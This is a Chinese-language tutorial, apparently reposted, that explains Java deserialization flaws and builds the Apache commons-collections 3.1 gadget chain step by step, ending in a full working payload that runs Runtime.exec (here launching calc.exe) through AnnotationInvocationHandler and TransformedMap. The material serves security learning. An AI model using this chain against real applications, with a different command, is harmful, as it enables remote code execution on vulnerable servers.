6-Web安全——java反序列化漏洞利用链

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了6-Web安全——java反序列化漏洞利用链相关的知识,希望对你有一定的参考价值。

本篇将学习java反序列化漏洞原理,然后结合一个apache commons-collections组件反序列化漏洞来学习如何构造利用链。

我们知道序列化操作主要是由ObjectOutputStream类的 writeObject()方法来完成,反序列化操作主要是由ObjectInputStream类的readObject()方法来完成。当可序列化对象重写了readObject方法后,在反序列化时一般会调用序列化对象的readObject方法。

在Student类中重写ObjectInputStream类的readObject方法

package com.test;
import java.io.*;

class Student implements Serializable {
    private int id;
    private String name;
    private float score;
    private transient String address;

    public Student(int id, String name, float score, String address) {
        this.id = id;
        this.name = name;
        this.score = score;
        this.address = address;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\\'' +
                ", score=" + score +
                ", address='" + address + '\\'' +
                '}';
    }

    //重写父类的readObject方法
    private void readObject(java.io.ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        System.out.println("readObject......");
        //调用默认的readObject方法
        objectInputStream.defaultReadObject();
        //在重写的readObject方法中自定义要做的事情
        //调用pc的计算器
        Runtime.getRuntime().exec("calc.exe");
    }
}
class Serialize {
    public static Student Student_Unserialize() throws IOException, ClassNotFoundException{
        File file = new File("stu.txt");
        FileInputStream fileInputStream = new FileInputStream(file);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Student student = (Student) objectInputStream.readObject();
        objectInputStream.close();
        System.out.println("反序列完成......" + student);
        return student;
    }

    public static void Student_Serialize() throws  IOException{
        File file = new File("stu.txt");
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        Student student = new Student(10,"liubei",66.5f, "beijing");
        objectOutputStream.writeObject(student);
        //objectOutputStream.writeObject("hello world");
        objectOutputStream.close();
        System.out.println("序列化完成......");
    }
}

public class Serialize_Test3 {
    public static void main(String[] args) throws Exception {
        Serialize.Student_Serialize();
        Serialize.Student_Unserialize();
    }
}

当Student_Unserialize()方法内部调用readObject进行反序列化,会调用Student类中重写后的readObject方法,执行calc.exe调用电脑的计算器,如下所示

      反序列化漏洞产生的原因是可序列化对象重写readObject方法并定义了一些危险的操作导致的(例如调用Runtime类的exec执行系统命令),但在实际的开发中,处于安全考虑并不会直接在readObject方法定义一些危险的操作,这就需要通过反射链来执行我们想要的操作。

       反射链有点类似于php反序列化中的pop利用链,将一些可能的调用组合在一起形成一个完整的,具有目的性的操作,最终通过反射链达到漏洞的利用。

接下来通过一个反序列化漏洞学习反射链如何构造。

apache commons-collections组件反序列化漏洞环境

jdk1.7.0_80

commons-collections3.1

       apache commons-collections组件是一个基于java标准库的集合框架扩展的第三方工具库,提供了很多集合工具类,该组件的Transformer接口存在反序列化漏洞,实现了Transformer接口的类有ChainedTransformer,ConstantTransformer,InvokerTransformer这几个类。

先来看一下最简单的漏洞利用poc:

package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Poc2Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        transformedMap.put(null,transformerChain);
    }
}

简单说明一下这个poc程序的利用链流程:

1. 首先创建了一个Transformer[]数组,在数组中使用了ConstantTransformer和InvokerTransformer两个类创建了4个对象,这一段是漏洞利用的核心代码

2. 将transformers数组存入ChaniedTransformer类

3. 创建Map并转换为链

4. 触发漏洞利用链,利用漏洞

先来看这段漏洞利用的核心代码:

new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

      通过Transformer[]数组来创建对象,Transformer是一个接口,该接口有一个transform方法,这个方法的作用是将一个对象转换为另一个对象,通过查看源码发现ConstantTransformer和InvokerTransformer两个类也都实现了Transformer接口。

创建第一个对象时会调用ConstantTransformer的构造,将Runtime作为参数,然后构造方法内部会将传入的Runtime的class对象赋值给成员属性iConstant

ConstantTransformer类中的transform方法作用是将属性iConstant返回

	public Object transform(Object input) {
        return iConstant;
    }

InvokerTransformer类中的transform方法实现如下

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            //获取class对象
            Class cls = input.getClass();
            //获取class对象的某个方法
            Method method = cls.getMethod(iMethodName, iParamTypes);
            //执行class对象的某个方法
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

       transform方法主要是获取传入参数的class对象,然后根据iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法。

这三个成员属性的值是通过InvokerTransformer类的构造来赋值的

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

创建完这几个对象后,将transformers数组传给ChaniedTransformer类,该类也实现了Transformer接口的transform方法

//构造方法
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}


//实现的transform方法
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

      ChaniedTransformer类的构造方法会将transformers数组赋值给iTransformers 成员属性,而transform方法主要是遍历iTransformers 数组,并根据数组中每一个具体的对象元素调用不同的transform方法,如果遍历到的对象元素类型是InvokerTransformer对象,那么就会调用InvokerTransformer对象的transform方法执行反射操作。

    也就是说,ChaniedTransformer类中的transform方法会将之前利用链(创建的4个对象)都组合起来,最终形成的伪代码:Runtime.class.getMethod("getRuntime",null).invoke(null).exec("calc.exe") 。解释一下这里为什么要通过反射的方式获取Runtime对象和方法。

原因在于Runtime类没有实现Serializable可序列化接口,ConstantTransformer(Runtime.class)这一步操作是获取Runtime的class对象,由于Class类实现了Serializable接口,通过让Runtime继承Class<T>类也可以实现可序列化

我们可以得到这样一个利用链:

       下一步要做的事情就是寻找哪些类调用了ChainedTransformer的transform方法并且实现了Serializable接口,经过一番查找,最终在apache commons-collections组件找到LazyMap类和TransformedMap这两个类,同时这两个类也都实现了Serializable接口。

    先来看TransformedMap类,这个类中有三个方法内部调用了transform方法,分别为checkSetValue,transformKey,transformValue这三个方法,但是这三个方法的都是protected(受保护)权限,只能在类内部调用,我们需要找别的触发链,寻找有哪些方法调用了这三个方法。

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
	
	protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }
	
	protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

接着又在TransformedMap类中找到了一个public访问权限的decorate方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

      decorate方法会通过TransformedMap的构造方法创建一个TransformedMap并返回,该方法要求传入三个参数,参数1是一个Map类型,其他两个参数都为Transformer 类型,TransformedMap的构造方法会将参数二和参数三赋值给成员属性keyTransformer和valueTransformer。

decorate方法还不足以触发利用链,接着我们在TransformedMap类中找到一个public权限的方法:

    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

       put方法内部调用了transformValue方法,通过调用transformValue方法来间接调用transform方法,但是transformValue方法中内部是由TransformedMap类的成员属性valueTransformer来调用transform方法的,因此decorate方法还有一个作用就是将transformerChain传给valueTransformer属性,当调用put方法时就可以触发利用链

      以上只是为了介绍apache commons-collections组件反序列化漏洞的利用链是如何构造的。

如果想要触发反序列化漏洞的话,还需要找到一个可序列化对象重写readObject方法并且内部操作了Map,于是我们在jdk中找到一个sun.reflect.annotation.AnnotationInvocationHandler类,该类实现了Serializable接口并且还重写了readObject方法,如下所示:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

上面那个readObject方法是新版jdk的,不太容易分析,我们看一下jdk旧版本的readObject方法

 private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject(); 
 
        // Check to make sure that types have not evolved incompatibly  
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } 
        catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }
 
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
 
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
                }
            }
        }
    }

AnnotationInvocationHandler类实现了InvocationHandler接口,还有一个final的成员属性memberValues,其数据类型为Map

       在旧版本的readObject方法中,AnnotationInvocationHandler类在重写的readObject方法使用for循环获取了memberValues的entrySet()键值对,进行了setValue操作,也就是说readObject方法所做的事情就是对memberValues.entrySet()中的每一项memberValue进行了setValue操作。

这里的memberValues指的是TransformedMap(如果不理解这一步的话,先往下看,后面还会介绍memberValues),再回到新版jdk中AnnotationInvocationHandler类的readObject方法中

//获取TransformedMap的entrySet迭代器
Iterator var4 = this.memberValues.entrySet().iterator();
//再通过entrySet迭代器获取一个Entry
Entry var5 = (Entry)var4.next();

       实际上var5就是TransformedMap的Entry,var5.setValue()相当于TransformedMap调用了put方法

这里有一个问题:TransformedMap中的EntrySet是从哪来的?

通过查看TransformedMap类的体系结构发现,TransformedMap类继承了AbstractInputCheckedMapDecorator类, 而AbstractInputCheckedMapDecorator类继承了AbstractMapDecorator类,AbstractMapDecorator这个类实现了Map接口,TransformedMap的entrySet是调用了AbstractInputCheckedMapDecorator类中的entrySet方法返回一个EntrySet(entrySet的调用流程有些复杂,这里不详细展开,大家自行调试跟踪分析)。

    public Set entrySet() {
        if (isSetValueChecking()) {
            return new EntrySet(map.entrySet(), this);
        } else {
            return map.entrySet();
        }
    }

       这里调用entrySet方法会传入两个参数,map就是我们创建的HashMap,这里的this对象指的是transformedMap。

实际上是返回了AbstractInputCheckedMapDecorator类中的静态类EntrySet对象,并将传入的this对象赋给parent成员属性

    static class EntrySet extends AbstractSetDecorator {
        
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }
	}

parent调用了一个很关键的方法,parent成员属性定义如下:

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

前面var5.setValue()是调用了TransformedMap的setValue方法的说法并不严谨,实际上是调用了TransformedMap的父类AbstractInputCheckedMapDecorator中的静态类MapEntry的setValue方法

       setValaue方法中的parent调用了checkSetValue方法,实际上是调用transformedMap的checkSetValue方法,通过checkSetValue方法间接调用transform方法,也就是说transformedMap的setValue操作最终会触发反序列化漏洞的利用链,apache commons-collections组件反序列化漏洞的利用链。

现在我们还剩下最后一个问题没有解决:如何获得AnnotationInvocationHandler类对象并将transformedMap传给AnnotationInvocationHandler类?

     通过查看AnnotationInvocationHandler类的具体实现可以看到该类的构造方法要求传入两个参数,参数var1为Class类型,var2为Map类型,我们重点关注var2参数。

        但是AnnotationInvocationHandler类的访问权限不是public,默认只有在同一packge下才能访问,因此只能通过反射机制获取AnnotationInvocationHandler类构造方法对象,再通过newInstance方法传入transformedMap参数,调用指定的构造创建AnnotationInvocationHandler对象,把transformedMap传给var2参数。

       接着AnnotationInvocationHandler的构造方法会把var2赋值给memberValues成员属性,这一步验证了前面我们说readObject方法中的memberValues其实就是transformedMap。

现在所有的疑问都解决了,来看一下apache commons-collections组件反序列化漏洞的最终payload:

package com.test;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.annotation.Target;
import org.apache.commons.collections.map.TransformedMap;

public class PocTest implements Serializable {
    public static void main(String[] args) throws Exception{
		//核心利用代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
		//将数组transformers传给ChainedTransformer,构造利用链
        Transformer transformerChain = new ChainedTransformer(transformers);
		//触发漏洞
        Map map = new HashMap();
        map.put("value", "test");
        //通过反射触发利用链
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance=ctor.newInstance(Target.class, transformedMap);
        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
    }
}

      先调用writeObject方法把AnnotationInvocationHandler对象进行序列化,然后再通过readObject方法进行反序列化,由于AnnotationInvocationHandler对象重写了readObject,接着会调用重写的readObject,然后在该方法中var5.setValue()操作就会触发之前构造的反序列利用链。

执行payload,成功弹出calc计算器

参考资料

https://www.cnblogs.com/yyhuni/p/14777166.html

以上是关于6-Web安全——java反序列化漏洞利用链的主要内容,如果未能解决你的问题,请参考以下文章

7-Web安全——java反序列化漏洞CC链1学习

反序列化漏洞与URLDNS利用链

CommonCollections1反序列化利用链分析

java安全——ysoserial工具URLDNS链分析

java安全——ysoserial工具URLDNS链分析

java安全——ysoserial工具URLDNS链分析